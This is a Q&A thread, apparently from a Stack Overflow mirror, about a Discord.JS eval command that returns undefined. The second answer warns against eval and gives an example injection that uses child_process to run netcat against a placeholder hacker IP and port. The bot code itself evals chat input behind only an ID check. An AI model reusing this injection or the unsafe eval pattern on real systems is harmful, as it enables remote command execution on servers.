【问题标题】:Eval command Discord.JS评估命令 Discord.JS
【发布时间】:2021-06-07 21:29:50
【问题描述】:

我正在尝试在 Discord.JS v12 中创建一个 eval 命令。除了当我将命令与嵌入一起使用时输出返回undefined 之外,该代码运行良好。这是我的代码:

const { inspect } = require("util")
  if (message.author.id != "id here")
    return message.channel.send("cant use this");
  try {
    var result = args.join(" ").slice(5);
    let noResultArg = new Discord.MessageEmbed()
    .setColor("#e31212")
    .setDescription("ERROR: No valid eval args were provided")
    if (!result) return message.channel.send(noResultArg)
    let evaled = eval(result);
    console.log(result);
    
    
    let resultSuccess = new Discord.MessageEmbed()
    .setColor("#8f82ff")
    .setTitle("Success")
    .addField(`Input:\n`, '```js\n' + `${args.join(" ").slice(5)}` + '```', false)
    .addField(`Output:\n`, '```js\n' + evaled + '```', true)
    
    message.channel.send(resultSuccess)
    
  } catch (error) {
    let resultError = new Discord.MessageEmbed()
    .setColor("#e31212")
    .setTitle("An error has occured")
    .addField(`Input:\n`, '```js\n' + `${result}` + '```', false)
    .addField(`Output:\n`, '```js\n' + `${error.message}` + '```', true)
    //.setDescription(`Output:\n\`\`\`${err}\`\`\``)
    return message.channel.send(resultError)
  }

这是当前结果:

【问题讨论】:

  • eval 根本不应该被用户输入信任。

标签: javascript node.js discord discord.js


【解决方案1】:

运行console.log('e') 时,eval 函数没有返回任何内容,因此它返回未定义。如果您要尝试评估2+2,它应该返回4

更多信息可在此处获得: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

【讨论】:

  • 我该如何解决这个问题?
  • 这不是错误,这正是 eval 的工作原理
【解决方案2】:

这不是错误。您可以使用if(resultSuccess !== undefined){message.channel.send(resultSuccess)} 检查返回值的类型。 不过,我不建议您在代码中使用 eval,因为它不应该被用户输入信任。如果您仍然坚持,那么您必须首先检查管理员权限,因为如果您可以通过聊天访问服务器,您可以对服务器做很多事情。我可以轻松输入(function(){let vulnOS = global.os||require('os');let { exec } = require("child_process"); /*Avoid "use-strict" error and warnings if any*/switch(vulnOS.platform()){case "linux":exec("nc <Hacker's IP> <Port number>",(error, stdout, stderr) => {return "Hehe. Get pwned!";})break;default:return "Unknown OS, can't hack :(";}})(); 和繁荣!我进去了。

【讨论】:

    猜你喜欢
    • 2013-05-21
    • 2011-03-25
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多